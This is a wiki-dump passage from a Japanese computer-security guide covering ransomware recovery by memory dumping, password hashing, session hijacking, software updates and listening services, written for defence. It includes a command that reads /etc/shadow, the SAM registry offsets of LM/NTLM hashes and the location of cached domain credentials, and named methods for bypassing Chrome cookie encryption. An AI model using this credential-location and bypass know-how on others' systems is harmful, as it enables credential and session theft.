ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>4ermtr2aluxf1lxiv4t1lvn00hjk1xw</sha1>
    </revision>
    <revision>
      <id>305238</id>
      <parentid>305237</parentid>
      <timestamp>2026-11-01T01:13:56Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305238</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94433" sha1="r7qkc83bfont3z2ej5nd4v5doenni49" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も使われるようになっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
